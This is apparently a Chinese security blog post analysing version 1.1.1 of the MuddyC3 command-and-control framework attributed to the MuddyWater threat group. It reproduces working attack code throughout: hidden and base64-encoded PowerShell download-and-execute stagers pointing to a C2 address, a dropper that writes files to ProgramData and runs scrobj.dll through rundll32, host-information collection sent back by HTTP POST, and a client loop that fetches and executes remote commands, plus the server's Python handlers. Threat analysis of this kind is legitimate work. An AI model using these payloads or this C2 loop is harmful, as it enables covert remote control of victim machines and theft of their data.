enter description here

APT污水攻击MuddyC3 1.1.1版本浅析

本文作者竭力保证文章内容可靠,但对于任何错误、疏漏或不准确的内容,作者不负任何责任。文章部分内容来源于网络是出于传递更多信息的目的,对此不负任何法律责任。本文仅用于技术分享与讨论,严禁用于其他用途。

背景说明

MuddyWater是一个伊朗威胁组织,主要针对中东、欧洲和北美国家。该组织针对的目标主要是电信,政府(IT服务)和石油部门。众多安全研究机构针对muddywater的样本进行了深入的研究。2019年6月24日,名为0xffff0800的用户在twitter上发表推文表示,其开源了污水攻击的python版代码。本文就该代码,一窥muddywater的攻击过程

整体结构

  1. 代理重新连接
  2. 加载模块
  3. 发送命令和接收结果
  4. 创建Powershell负载

enter description here

​ 整个通信过程有三个要素,即攻击端、C2网站和目的主机。其中C2网站指的是被攻击者拿到控制权限的web网站。C2网站可能不止一个。攻击过程中,攻击者将攻击指令以powershell代码的形式注入C2网站,被感染的目的主机主动向C2网站发送http请求,得到攻击命令,调用powershell接口执行命令。

​ 并同时在今年2020年1月13 日Ahmed Khlief 作者在博客上发布了1.1.1的版,弥补了之前未公开的payload。本文着重就以payload为重点讲解。

功能和代码分析

版本1.0.1和1.1.1版本从代码结构上只有少量不同,下图为入口界面截图

enter description here

功能分析

1.1服务端分析

运行muddyc3.py文件

需要输入ip、端口和是否需要代理输入完成后进入命令界面

enter description here

1.1.1 list命令

用来列举agent信息,列举结果示意如下:

enter description here

1.1.2 show命令

目前尚未开发。

1.1.3 use命令

use命令后需要agent id作为参数,命令格式为:

1
use id

命令结果是进入id下的命令界面:

enter description here

1.1.4 payload命令

payload命令列举出目前服务端程序中已有的powershell注入命令。

enter description here

​ 通过分析core文件夹下webserver.py文件中下图为payload 代码。通过简单的IP和端口替换,并进行base64等加密手段而成的多种payload

enter description here

首先我们来看下比较明显的三组不同类型的payload,最终目的皆为到达绕过杀软的目的
1
2
3
4
5
6
7
---+Powershell JOB + File Payload+---
iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVtOZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGlhbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjEuMTk6NDQ0NC9oamYnKTtJRVgoJHMp')))

---+Powershell JOB + File +SCT Payload+---
iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVtOZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGlhbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjEuMTk6NDQ0NC9oamZzJyk7SUVYKCRzKQ==')))

powershell -w hidden "IEX(New-Object Net.WebClient).DownloadString('http://192.168.90.135/get');"
1.未加密部分
1
powershell -w hidden "IEX(New-Object Net.WebClient).DownloadString('http://192.168.90.135/get');"

其中核心的payload为 get部分,[http://192.168.1.19:4444/get]由该页面在powershell上下载为字符串执行在客户端。需要注意的是这段url并未进行base64加密。

enter description here

enter description here

enter description here

2.两个base64加密部分
1
2
3
4
5
---+Powershell JOB + File Payload+---
iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVtOZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGlhbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjEuMTk6NDQ0NC9oamYnKTtJRVgoJHMp')))

---+Powershell JOB + File +SCT Payload+---
iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFY9bmV3LW9iamVjdCBuZXQud2ViY2xpZW50OyRWLnByb3h5PVtOZXQuV2ViUmVxdWVzdF06OkdldFN5c3RlbVdlYlByb3h5KCk7JFYuUHJveHkuQ3JlZGVudGlhbHM9W05ldC5DcmVkZW50aWFsQ2FjaGVdOjpEZWZhdWx0Q3JlZGVudGlhbHM7JFM9JFYuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xOTIuMTY4LjEuMTk6NDQ0NC9oamZzJyk7SUVYKCRzKQ==')))

由第一个base64解密得出为下图

依旧是请求http://192.168.90.135:4444/get 链接,下载字符串,并进行执行

enter description here

3.俄罗斯套娃

而第二个base64则为多个base64加密嵌套,像极了俄罗斯套娃

得到的链接为http://192.168.90.135:4444/hjfs

enter description here

那么我们去看看这个hjfs的内容是什么

enter description here

经过base64解密得出以下代码,其中得出两个链接分别 为 /sct、/getc

1
$V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;$S=$V.DownloadString('http://192.168.90.135:4444/getc');set-content -path c:\programdata\a.zip -value $S;$S=$V.DownloadString('http://192.168.90.135:4444/sct');set-content -path c:\programdata\sct.zip -value $S;set-content -path c:\programdata\sct.ps1 -value ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JHM9KGdldC1jb250ZW50IEM6XFxQcm9ncmFtRGF0YVxcYS56aXApOyRkID0gQCgpOyR2ID0gMDskYyA9IDA7d2hpbGUoJGMgLW5lICRzLmxlbmd0aCl7JHY9KCR2KjUyKSsoW0ludDMyXVtjaGFyXSRzWyRjXS00MCk7aWYoKCgkYysxKSUzKSAtZXEgMCl7d2hpbGUoJHYgLW5lIDApeyR2dj0kdiUyNTY7aWYoJHZ2IC1ndCAwKXskZCs9W2NoYXJdW0ludDMyXSR2dn0kdj1bSW50MzJdKCR2LzI1Nil9fSRjKz0xO307W2FycmF5XTo6UmV2ZXJzZSgkZCk7aWV4KFtTdHJpbmddOjpKb2luKCcnLCRkKSk7')));set-content -path c:\programdata\sct.ini -value ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('W3ZlcnNpb25dDQpTaWduYXR1cmU9JGNoaWNhZ28kDQoNCltFeGNlbF0NClVuUmVnaXN0ZXJPQ1hzPUV2ZW50TWFuYWdlcg0KDQpbRXZlbnRNYW5hZ2VyXQ0KJTExJVxzY3JvYmouZGxsLE5JLGM6L3Byb2dyYW1kYXRhL3NjdC56aXANCg0KW1N0cmluZ3NdDQpBcHBBY3QgPSAiU09GVFdBUkVcTWljcm9zb2Z0XENvbm5lY3Rpb24gTWFuYWdlciINClNlcnZpY2VOYW1lPSIgIg0KU2hvcnRTdmNOYW1lPSIgIg==')));start-process rundll32.exe -ArgumentList "advpack.dll,LaunchINFSection C:\ProgramData\sct.ini,Excel,1," -WindowStyle Hidden;start-sleep 30;del c:\programdata\a.zip;del c:\programdata\sct.ps1;del c:\programdata\sct.zip;del c:\programdata\sct.ini;

enter description here

剩余两个base64部分为以下内容,进行其他的功能传输

1
$s=(get-content C:\\ProgramData\\a.zip);$d = @();$v = 0;$c = 0;while($c -ne $s.length){$v=($v*52)+([Int32][char]$s[$c]-40);if((($c+1)%3) -eq 0){while($v -ne 0){$vv=$v%256;if($vv -gt 0){$d+=[char][Int32]$vv}$v=[Int32]($v/256)}}$c+=1;};[array]::Reverse($d);iex([String]::Join('',$d));
1
2
3
4
5
6
7
8
9
10
11
12
13
[version]
Signature=$chicago$

[Excel]
UnRegisterOCXs=EventManager

[EventManager]
%11%\scrobj.dll,NI,c:/programdata/sct.zip

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName=" "
ShortSvcName=" "

1.2参数分析

通过分析core文件夹下cmd.py文件

enter description here

得出AGENTS字典中每个元素的结构如下:

角标 参数 归属
* id key值
0 ExternalIP data
1 id data
2 status data
3 os data
4 InternalIP data
5 Arch data
6 ComputerName data
7 UserName data

AGENT是一个’id:data’形式的字典,其中data格式如下:

角标 参数
0 id
1 status
2 Internal IP
3 OS
4 Arch
5 Computer Name
6 User Name

在core文件夹下webserver.py文件中

enter description here

分别定义了多种url 接口

enter description here

url访问功能分类如下:

编号 类别 表示方法 get/post 功能或结果
1 index / get 返回‘hello’
2 payload /get get 返回‘config/PAYLOAD()’
3 payloadc /getc get 返回‘toB52(config/PAYLOAD())’
4 payloadjf /hjf get 返回C://ProgramData下a.zip和b.ps1
5 payloadjfs /hjfs get 返回C://ProgramData下sct.ini
6 sct /sct get 返回ps1文件
7 mshta /hta get 返回ps1文件
8 info /info/~ post 查询id,若不存在则在AGENTS中添加
9 download /dl/~ post 从服务端指定路径下载文件
10 upload /up 暂不支持该功能
11 img /img/~ post 得到相关img
12 command /cm/~ get 得到‘config.COMMAND[id]’中的命令
13 result /re/~ post 得到指定id主机的data
14 modules /md/~ post 添加模块

2.客户端分析

由1.1.4部分中的payload均为加密部分,而最核心的就是在core中的payload.ps1部分,在1.1.4小节中显示的这些payload全部都是围绕着core中的payload.ps1中从而去演变加密,下面我们从简单而去分析payload.ps1部分

enter description here

1
powershell -w hidden "IEX(New-Object Net.WebClient).DownloadString('http://192.168.90.135:4444/get');"

PowerShell的主要作用是从远程位置下载恶意文件到受害者主机中,然后使用诸如Start-PorcessInvoke-Item或者Invoke-Expression(**-IEX**)之类的命令执行恶意文件,PowerShell也可以将远程文件直接下载到受害者主机内存中,然后从内存中执行。

实际攻击活动中经常使用到System.net.Webclient中的两种方法:

1
2
(New-object System.net.webclient).DownlodFile() 
(New-object System.net.Webclient).DownloadString()

2.1 agent info信息

http://192.168.90.135:4444/get中的部分powershell代码为agent的相关信息显示如下

1
2
3
4
5
6
7
8
9
$hostname = $env:COMPUTERNAME;
$whoami = $env:USERNAME;
$arch = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
$os = (Get-WmiObject -class Win32_OperatingSystem).Caption + "($arch)";
$domain = (Get-WmiObject Win32_ComputerSystem).Domain;
$IP=(gwmi -query "Select IPAddress From Win32_NetworkAdapterConfiguration Where IPEnabled = True").IPAddress[0]
$random = -join ((65..90) | Get-Random -Count 5 | % {[char]$_});
$agent="$random-img.jpeg"
$finaldata="$os**$IP**$arch**$hostname**$domain**$whoami"

enter description here

2.2 info信息回传给服务端

服务端 url –info代码

enter description here

访问/info,由于info使用post包

客户端powershell 代码 ,通过POST传参进行将data数据回传

enter description here

1
2
3
4
5
6
$h3 = new-object net.WebClient
$h3.Headers.Add("Content-Type", "application/x-www-form-urlencoded")
$h=$h3.UploadString("http://192.168.90.135:4444/info/$agent",$finaldata)

$h2 = New-Object system.Net.WebClient;
$h3 = New-Object system.Net.WebClient;

enter description here

2.3 访问/cm

带id访问/cm接口,访问/cm/[id],取得服务端发送的控制命令,控制命令组成如下:

1
2
3
4
while($true){
$cmd = $h2.downloadString("http://192.168.90.135:4444/cm/$agent");
$cmd
}
编号 表示 意义
1 /get 访问/get接口
2 /getc 访问/getc接口
3 /hjf 访问/hjf接口
4 /hjfs 访问/hjfs接口
5 /sct 访问/sct接口
6 /hta 访问/hta接口
7 dl 访问/dl接口
8 /up 访问/up接口
9 /img 访问/img接口
10 /md 访问/md接口
11 其他 其他powershell可以直接执行的命令

服务端发出了一个命令:whoami

客户端循环获取/cm 的地址的内容

enter description here

2.4 执行回传输出信息

由Invoke-Expression执行 $cmd命令,将输出的信息回传/re 服务端

客户端

1
2
3
4
5
6
7
8
$output=Invoke-Expression ($cmd) | Out-String
}
catch{
$output = $Error[0] | Out-String;
}}
$bytes = [System.Text.Encoding]::UTF8.GetBytes($output)
$redata=[System.Convert]::ToBase64String($bytes)
$re = $h3.UploadString("http://192.168.90.135:4444/re/$agent",$redata);

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class command:

def GET(self, id):
if config.AGENTS.get(id) != None:
config.TIME[id] = time.time()
if config.AGENTS.get(id) != None and len(config.COMMAND.get(id)) > 0:
cmd = config.COMMAND[id].pop(0)
print bcolors.OKGREEN + '[~] ' + id + ':' + cmd + bcolors.ENDC
return cmd

elif config.AGENTS.get(id) == None:
print bcolors.OKGREEN + '[~] ' + id + ':Register' + bcolors.ENDC
return 'REGISTER'
else:
return ''


class result:

def POST(self, id):
data = web.data()
if config.AGENTS.get(id) != None and data != None:
data = data.decode('base64')
p_out = '[+] Agent (%d) - %s send Result' % (config.AGENTS[id][0], config.AGENTS[id][7])
print bcolors.OKGREEN + p_out + bcolors.ENDC
print data
else:
return 'REGISTER'
return


对比
enter description here

整体POC 效果图如下:

enter description here

最终效果图:

下图中上部分为kali (主控端),下半部分为win10(被控端)

enter description here

污水攻击特点总结

5.1心跳周期

被控端定期向主控端发出get请求,查看是否有新的命令。

http://192.168.90.135:4444/get/cm/[id]

5.2 http请求成对出现

一次取命令对应一次命令执行结果回传。

http://192.168.90.135:4444/get/cm/[id]

http://192.168.90.135:4444/re/[id]

5.3云控下发powershell脚本

传统远控采取命令约定方式,主控端向被控端发送命令代码,被控端在后门代码中匹配成功然后执行。

而污水攻击不再使用命令代码,而是就地采用被控端本地现有工具powershell,将命令以高度混淆的powershell形式下发,这样做保证了样本即使被捕获,恶意活动不会暴露、C2服务器不会被溯源。

5.4可滥用web2.0网站作为信息传输中介

任何主机可以不经注册访问网站,向网站发出http请求。

污水攻击利用的web2.0网站的服务器是攻击者控制的,因此有被溯源的风险。

5.5协议:http

明文不加密。

大体对应最新ATT&CK映射内容为以下列表

执行 采集 命令与控制 影响力
利用客户端执行(T1203) 自动收集(T1119) 应用层协议(T1071) 数据处理(T1565)
命令行(T1059) 数据编码(T1132)
数据混淆(T1001)
非标准端口(T1571)

结合golang

作者: demosnec666 WBGIII

视频演示:

https://github.com/demonsec666/muddyc3_golang/releases/tag/v1.0
https://github.com/demonsec666/muddyc3_golang

相关链接

【1】https://www.freebuf.com/articles/web/213834.html

【2】https://attack.mitre.org/groups/G0069/